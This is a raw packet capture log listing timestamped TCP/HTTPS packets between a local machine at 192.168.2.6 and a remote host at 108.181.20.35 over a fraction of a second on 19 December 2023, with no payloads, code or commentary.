Dec 19, 2023 05:18:27.910878897 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910883904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910907030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910907984 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910924911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910929918 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910934925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910969019 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910973072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910981894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.911003113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.911015034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.911025047 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.911036015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.911041021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.911055088 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.911060095 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.911065102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.911078930 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.911092043 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.911109924 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.911111116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.911119938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.911132097 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.911155939 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.912446976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.912465096 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.912549019 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.912554979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.912586927 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.914861917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.914880037 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.914932966 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.914937973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.914968014 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.923686028 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.933353901 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.933368921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.933437109 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.933442116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.933485031 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.934603930 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.934617996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.934649944 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.934653997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.934681892 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.934700966 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.936100006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.936114073 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.936156034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.936161041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.936191082 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.937776089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.937791109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.937849045 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.937854052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.937886000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.939132929 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.939148903 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.939207077 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.939213991 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.939240932 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.940589905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.940607071 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.940664053 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.940669060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.944188118 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.984834909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.984853029 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.984927893 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.984935999 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.984971046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.030589104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.082771063 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.082789898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.082858086 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.082871914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.084229946 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.084249973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.084402084 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.084408045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.084445000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.087201118 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.087215900 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.087266922 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.087270975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.087302923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.089004040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.089020014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.089070082 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.089075089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.089103937 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.091779947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.091794968 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.091847897 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.091851950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.091885090 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.094394922 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.094409943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.094476938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.094481945 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.097193956 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.097213030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.097251892 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.097256899 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.097296953 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.099626064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.099641085 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.099694014 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.099699974 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.099729061 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.117542982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.117558002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.117640018 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.117644072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.117679119 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.119427919 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.119443893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.119492054 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.119497061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.120728970 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.120749950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.120799065 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.120804071 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.120822906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.120846033 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.122417927 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.122431040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.122481108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.122484922 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.123703003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.123722076 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.123749018 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.123754025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.123779058 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.123800993 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.125796080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.125812054 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.125859976 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.125864983 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.127213001 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.127924919 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.127940893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.127986908 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.127990961 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.128021955 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.169239044 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.171119928 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.171147108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.171221972 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.171232939 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.171264887 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.209886074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.269491911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.269526005 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.269634962 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.269668102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.269958019 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.306552887 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.458705902 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.458729982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.458791971 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.458802938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.458816051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.458848953 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.458867073 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.458882093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.458884954 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.458889961 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.458921909 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.458937883 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.458956003 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.458956957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.458966970 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.458988905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459009886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459024906 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459038019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459084034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459095001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459110975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459131002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459132910 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459142923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459163904 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459188938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459198952 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459203959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459228992 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459242105 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459263086 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459268093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459285021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459294081 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459331989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459342003 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459346056 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459366083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459378958 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459387064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459403992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459412098 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459419012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459427118 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459430933 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459470034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459481955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459495068 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459537983 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459542990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459551096 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459572077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459574938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459583044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459608078 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459619999 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459635019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459642887 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459646940 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459673882 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459680080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459698915 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459700108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459707975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459733009 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459763050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459768057 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459773064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459794044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459800959 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459817886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459820032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459832907 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459852934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459862947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459883928 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459891081 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459896088 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459909916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459916115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459942102 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459948063 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.459963083 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.459976912 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.461168051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.461184978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.461226940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.461232901 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.461272001 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.464699030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.466171980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.466191053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.466247082 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.466252089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.466295958 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.469873905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.469892979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.469943047 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.469949007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.469990015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.472091913 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.472109079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.472157001 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.472162962 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.472201109 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.476794004 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.490461111 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.490483046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.490533113 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.490544081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.490567923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.490590096 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.491276026 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.493299007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.493315935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.493365049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.493370056 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.493407011 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.495115995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.495134115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.495168924 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.495174885 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.495198011 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.495213032 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.499026060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.499044895 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.499114990 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.499120951 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.499157906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.504693031 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.541994095 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.542021990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.542134047 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.542150974 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.542190075 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.641392946 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.641455889 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.641602039 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.641602039 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.641619921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.641659021 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.645545006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.645586967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.645622015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.645627022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.645657063 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.645674944 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.648880959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.648909092 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.648969889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.648974895 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.649013996 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.651913881 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.651930094 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.651983023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.651988983 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.652028084 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.655819893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.655843019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.655899048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.655906916 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.655936956 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.656842947 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.656858921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.656917095 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.656925917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.656960964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.675581932 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.675601959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.675780058 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.675791025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.675828934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.678314924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.678334951 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.678388119 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.678397894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.678433895 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:28.680167913 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.680183887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:28.680248976 CET	49718	443	192.168.2.6	108.181.20.35
